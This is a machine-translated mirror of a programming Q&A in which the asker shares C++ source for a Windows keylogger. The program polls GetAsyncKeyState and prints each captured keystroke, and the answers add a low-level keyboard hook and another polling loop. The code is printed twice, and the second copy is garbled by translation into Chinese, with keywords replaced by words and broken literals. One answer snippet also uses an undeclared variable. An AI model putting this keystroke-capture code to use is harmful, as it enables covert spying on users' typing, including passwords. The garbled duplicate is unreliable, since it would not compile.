C++ GetAsyncKeyState()don';t与';OEM&x27;钥匙

C++ GetAsyncKeyState()don';t与';OEM&x27;钥匙,c++,winapi,keylogger,C++,Winapi,Keylogger,我正在尝试创建一个键盘记录器。我决定使用函数GetAsyncKeyState。我把所有的钥匙都编好了程序。当我测试我的键盘记录器时,我意识到像,/?;:'控制台上没有显示“[{]}\\|=+-\”。为什么 这是我的代码: #include <iostream> #include <Windows.h> #include <string> #include <cctype> #include <conio.h> using namesp

我正在尝试创建一个键盘记录器。我决定使用函数GetAsyncKeyState。我把所有的钥匙都编好了程序。当我测试我的键盘记录器时,我意识到像,/?;:'控制台上没有显示“[{]}\\|=+-\”。为什么

这是我的代码:

#include <iostream>
#include <Windows.h>
#include <string>
#include <cctype>
#include <conio.h>

using namespace std;

string WhichKey(char key)
{
string ToReturn;

switch (key)
{
case VK_BACK:
    return "*BACKSPACE*";
case VK_TAB:
    return "*TAB*";
case VK_RETURN:
    return "*ENTER*";
case VK_SHIFT:
    return "*SHIFT*";
case VK_MENU:
    return "*ALT*";
case VK_CONTROL:
    return "*CTRL*";
case VK_ESCAPE:
    return "*ESC*";
case VK_SPACE:
    return " ";
case VK_PRIOR:
    return "*PAGE_UP*";
case VK_NEXT:
    return "*PAGE_DOWN*";
case VK_END:
    return "*END*";
case VK_HOME:
    return "*HOME*";
case VK_CAPITAL:
    return "*CAPS_LOCK*";
case VK_UP:
    return "*UP_ARROW*";
case VK_DOWN:
    return "*DOWN_ARROW*";
case VK_LEFT:
    return "*LEFT_ARROW*";
case VK_RIGHT:
    return "*RIGHT_ARROW*";
case VK_EXECUTE:
    return "*EXECUTE*";
case VK_SNAPSHOT:
    return "*PRINTSCREEN*";
case VK_INSERT:
    return "*INSERT*";
case VK_DELETE:
    return "*DELETE*";
case VK_LWIN:
case VK_RWIN:
    return "*WIN*";
case VK_NUMPAD0:
    return "0";
case VK_NUMPAD1:
    return "1";
case VK_NUMPAD2:
    return "2";
case VK_NUMPAD3:
    return "3";
case VK_NUMPAD4:
    return "4";
case VK_NUMPAD5:
    return "5";
case VK_NUMPAD6:
    return "6";
case VK_NUMPAD7:
    return "7";
case VK_NUMPAD8:
    return "8";
case VK_NUMPAD9:
    return "9";
case VK_F1:
    return "*F1*";
case VK_F2:
    return "*F2*";
case VK_F3:
    return "*F3*";
case VK_F4:
    return "*F4*";
case VK_F5:
    return "*F5*";
case VK_F6:
    return "*F6*";
case VK_F7:
    return "*F7*";
case VK_F8:
    return "*F8*";
case VK_F9:
    return "*F9*";
case VK_F10:
    return "*F10*";
case VK_F11:
    return "*F11*";
case VK_F12:
    return "*F12*";
case VK_SCROLL:
    return "*SCROLL_LOCK*";
case VK_NUMLOCK:
    return "*NUM_LOCK*";
case VK_MULTIPLY:
    return "*";
case VK_ADD:
    return "+";
case VK_SUBTRACT:
    return "-";
case VK_DIVIDE:
    return "/";
case VK_DECIMAL:
    return ".";
case VK_LBUTTON:
    return "*left_click*";
case VK_RBUTTON:
    return "*right_click*";
case VK_MBUTTON:
    return "*middle_click*";
}

if (isalpha(key))
{
    if (!((GetKeyState(VK_CAPITAL) & 0x0001) == 0) ^ (((GetKeyState(VK_SHIFT) & 0x1000) == 0)))
    {
        key = tolower(key);                                                     //off
        ToReturn += key;
        return ToReturn;
    }
    else
    {
        ToReturn += key;                                                        //on
        return ToReturn;
    }
}
else if (isdigit(key))
{
    if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
    {
        ToReturn += key;                                                        //off
        return ToReturn;
    }
    else
    {
        switch (key)
        {
        case '1':
        {
            key = '!';
            break;
        }
        case '2':
        {
            key = '@';
            break;
        }
        case '3':
        {
            key = '#';
            break;
        }
        case '4':
        {
            key = '$';
            break;
        }
        case '5':
        {
            key = '%';
            break;
        }
        case '6':
        {
            key = '^';
            break;
        }
        case '7':
        {
            key = '&';
            break;
        }
        case '8':
        {
            key = '*';
            break;
        }
        case '9':
        {
            key = '(';
            break;
        }
        case '0':
        {
            key = ')';
            break;
        }

        }

        ToReturn += key;                                                        //on
        return ToReturn;
    }


}
else
{


    switch (key)
    {
    case VK_OEM_1:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = ';';                                                      //off
        else
            key = ':';
        break;
    }
    case VK_OEM_PLUS:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '=';                                                      //off
        else
            key = '+';
        break;
    }
    case VK_OEM_COMMA:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = ',';                                                      //off
        else
            key = '<';
        break;
    }
    case VK_OEM_MINUS:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '-';                                                      //off
        else
            key = '_';
        break;
    }
    case VK_OEM_PERIOD:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '.';                                                      //off
        else
            key = '>';
        break;
    }
    case VK_OEM_2:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '/';                                                      //off
        else
            key = '?';
        break;
    }
    case VK_OEM_3:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '`';                                                      //off
        else
            key = '~';
        break;
    }
    case VK_OEM_4:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '[';                                                      //off
        else
            key = '{';
        break;
    }
    case VK_OEM_5:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '\\';                                                     //off
        else
            key = '|';
        break;
    }
    case VK_OEM_6:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = ']';                                                      //off
        else
            key = '}';
        break;
    }
    case VK_OEM_7:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '\'';                                                     //off
        else
            key = '\"';
        break;
    }

    }



    ToReturn += key;
    return ToReturn;

}

ToReturn += key;                                                    
return ToReturn;
}

int main()
{

char key;

while(1) 
{ 
    for(key = 0; key <= 256; key++) 
    { 
        if (GetAsyncKeyState(key) & 0x0001)
        { 
                cout << WhichKey(key); 
        } 

    } 

} 


return 0;
}
#包括
#包括
#包括
#包括
#包括
使用名称空间std;
字符串WhichKey(字符键)
{
字符串返回;
开关(钥匙)
{
案例VK_BACK:
返回“*退格*”;
案例VK_选项卡:
返回“*TAB*”;
案例VK_返回:
返回“*输入*”;
案例VK_班次:
返回“*SHIFT*”;
案例VK_菜单:
返回“*ALT*”;
案例VK_控制:
返回“*CTRL*”;
案件VK_逃逸:
返回“*ESC*”;
案例VK_空间:
返回“”;
案例VK_之前:
返回“*上一页*”;
案例VK_下一步:
返回“*向下翻页*”;
案例VK_结束:
返回“*结束*”;
案例VK_主页:
返回“*主页*”;
案例VK_CAPITAL:
返回“*CAPS_LOCK*”;
案例VK_UP:
返回“*向上箭头*”;
案例VK_下降:
返回“*向下箭头*”;
案例VK_左:
返回“*左箭头*”;
案例VK_右:
返回“*右箭头*”;
案例VK_执行:
返回“*执行*”;
案例VK_快照:
返回“*打印屏幕*”;
案例VK_插页:
返回“*插入*”;
案例VK_删除:
返回“*删除*”;
案例VK_LWIN:
案例VK_RWIN:
返回“*赢*”;
案例VK_NUMPAD0:
返回“0”;
案例VK_NUMPAD1:
返回“1”;
案例VK_NUMPAD2:
返回“2”;
案例VK_NUMPAD3:
返回“3”;
案例VK_NUMPAD4:
返回“4”;
案例VK_NUMPAD5:
返回“5”;
案例VK_NUMPAD6:
返回“6”;
案例VK_NUMPAD7:
返回“7”;
案例VK_NUMPAD8:
返回“8”;
案例VK_NUMPAD9:
返回“9”;
案例VK_F1:
返回“*F1*”;
案例VK_F2:
返回“*F2*”;
案例VK_F3:
返回“*F3*”;
案例VK_F4:
返回“*F4*”;
案例VK_F5:
返回“*F5*”;
案例VK_F6:
返回“*F6*”;
案例VK_F7:
返回“*F7*”;
案例VK_F8:
返回“*F8*”;
案例VK_F9:
返回“*F9*”;
案例VK_F10:
返回“*F10*”;
案例VK_F11:
返回“*F11*”;
案例12:
返回“*F12*”;
案例VK_滚动:
返回“*滚动锁定*”;
案例VK_NUMLOCK:
返回“*NUM_LOCK*”;
情况VK_乘法:
返回“*”;
案例VK_添加:
返回“+”;
案例VK_减去:
返回“-”;
案例VK_DIVIDE:
返回“/”;
案例VK_十进制:
“返回”;
案例VK按钮:
返回“*左键单击*”;
案例VK按钮:
返回“*右键单击*”;
案例VK_MBUTTON:
返回“*单击鼠标中键*”;
}
if(isalpha(钥匙))
{
如果(!((GetKeyState(VK_大写)和0x0001)==0)^((GetKeyState(VK_SHIFT)和0x1000)==0)))
{
key=tolower(key);//关
返回+=钥匙;
回归回归;
}
其他的
{
ToReturn+=键;//打开
回归回归;
}
}
否则如果(isdigit(键))
{
if((GetKeyState(VK_SHIFT)&0x1000)==0)
{
ToReturn+=键;//关闭
回归回归;
}
其他的
{
开关(钥匙)
{
案例“1”:
{
键='!';
打破
}
案例“2”:
{
键='@';
打破
}
案例“3”:
{
键=“#”;
打破
}
案例“4”:
{
键=“$”;
打破
}
案例“5”:
{
键='%';
打破
}
案例“6”:
{
键='^';
打破
}
案例“7”:
{
键='&';
打破
}
案例“8”:
{
键='*';
打破
}
案例“9”:
{
键='(';
打破
}
案例“0”:
{
键=');
打破
}
}
ToReturn+=键;//打开
回归回归;
}
}
其他的
{
开关(钥匙)
{
案例VK_OEM_1:
{
if((GetKeyState(VK_SHIFT)&0x1000)==0)
键=';';//关闭
其他的
键=':';
打破
}
案例VK_OEM_PLUS:
{
if((GetKeyState(VK_SHIFT)&0x1000)==0)
键='=';//关闭
其他的
键=“+”;
打破
}
案例VK_OEM_逗号:
{
if((GetKeyState(VK_SHIFT)&0x1000)==0)
键=',;//关
其他的
键='';
打破
}
案例VK_OEM_2:
{
if((GetKeyState(VK_SHIFT)&0x1000)==0)
键=“/”;//关闭
其他的
键='?';
打破
}
案例VK_OEM_3:
{
if((GetKeyState(VK_SHIFT)&0x1000)==0)
键='`;//关
其他的
键=“~”;
打破
}
案例VK_OEM_4:
{
if((GetKeyState(VK_SHIFT)&0x1000)==0)
键=“[”;//关闭
其他的
键='{';
打破
}
案例VK_OEM_5:
{
if((GetKeyState(VK_SHIFT)&0x1000)==0)
键=“\\”;//关闭
其他的
键=“|”;
打破
}
案例VK_OEM_6:
{
if((GetKeyState(VK_SHIFT)&0x1000)==0)
键=']';//关闭
其他的
键='}';
打破
}
案例VK_OEM_7:
{
if((GetKeyState(VK_SHIFT)&0x1000)==0)
键='\'';//关闭
其他的
键=“\”;
打破
}
}
返回+=钥匙;
回归回归;
}
返回+
LRESULT CALLBACK llKeyboardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
    KBDLLHOOKSTRUCT *hookStruct = (KBDLLHOOKSTRUCT*) lParam;

    // Parse the lParam value and members of the hookStruct structure

    return CallNextHookEx(0, nCode, wParam, lParam);
}

// Somewhere in your program, call the following function:
// Initialize the hook
SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) llKeyboardHook, 0, 0);
int key;

while (1) {
    for (key=8; key<= 255; key++) {
        if (i < 160 || i >165) {
            if (GetAsyncKeyState(i) == -32767) {
                <event>
            }
        }
    }
}

return 0;